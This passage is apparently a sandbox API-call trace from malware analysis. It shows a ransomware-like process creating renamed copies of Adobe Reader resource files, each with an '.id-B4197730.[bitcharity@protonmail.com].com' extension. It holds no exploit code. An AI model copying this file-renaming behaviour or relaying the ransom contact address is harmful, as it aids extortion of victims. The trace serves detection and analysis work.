lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.038] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-up.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-up.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.038] CloseHandle (hObject=0x11a8) returned 1 [0281.041] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.041] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.042] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.042] CloseHandle (hObject=0x11a8) returned 1 [0281.347] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.347] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.347] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.347] CloseHandle (hObject=0x10c4) returned 1 [0281.367] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.367] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.367] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\css\\main-selector.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.367] CloseHandle (hObject=0x10c4) returned 1 [0281.368] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.369] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.369] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\css\\main.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\css\\main.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.369] CloseHandle (hObject=0x10c4) returned 1 [0281.370] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.370] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.370] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.371] CloseHandle (hObject=0x10c4) returned 1 [0281.372] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.372] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.372] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_RHP.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_rhp.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.372] CloseHandle (hObject=0x10c4) returned 1 [0281.373] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.373] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.373] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.421] CloseHandle (hObject=0x10c4) returned 1 [0281.425] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.425] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.425] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons_ie8.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.425] CloseHandle (hObject=0x10c4) returned 1 [0281.426] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.426] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.426] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.426] CloseHandle (hObject=0x10c4) returned 1 [0281.427] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.428] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.428] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.428] CloseHandle (hObject=0x10c4) returned 1 [0281.429] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.429] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.429] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.429] CloseHandle (hObject=0x10c4) returned 1 [0281.430] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.430] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.430] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.430] CloseHandle (hObject=0x10c4) returned 1 [0281.432] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.432] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.432] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.432] CloseHandle (hObject=0x10c4) returned 1 [0281.686] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.686] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.686] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.687] CloseHandle (hObject=0x11b4) returned 1 [0281.689] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.689] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.689] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\css\\main.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.689] CloseHandle (hObject=0x11b4) returned 1 [0281.690] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.690] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.690] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\css\\plugin-selectors.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.690] CloseHandle (hObject=0x11b4) returned 1 [0281.693] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.693] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.693] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.694] CloseHandle (hObject=0x11b4) returned 1 [0281.694] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.695] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.695] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.695] CloseHandle (hObject=0x11b4) returned 1 [0281.696] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.696] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.696] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.696] CloseHandle (hObject=0x11b4) returned 1 [0281.697] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.697] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.697] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.697] CloseHandle (hObject=0x11b4) returned 1 [0281.701] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.701] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.701] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.701] CloseHandle (hObject=0x11b4) returned 1 [0281.702] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.702] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.702] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.703] CloseHandle (hObject=0x11b4) returned 1 [0281.703] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.703] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.703] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.704] CloseHandle (hObject=0x11b4) returned 1 [0281.704] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.704] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.704] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.705] CloseHandle (hObject=0x11b4) returned 1 [0281.705] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.705] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.706] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.706] CloseHandle (hObject=0x11b4) returned 1 [0281.706] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.706] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.707] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.707] CloseHandle (hObject=0x11b4) returned 1 [0281.707] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.708] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.708] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\warning.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.708] CloseHandle (hObject=0x11b4) returned 1 [0281.709] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.709] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.709] CreateFileW 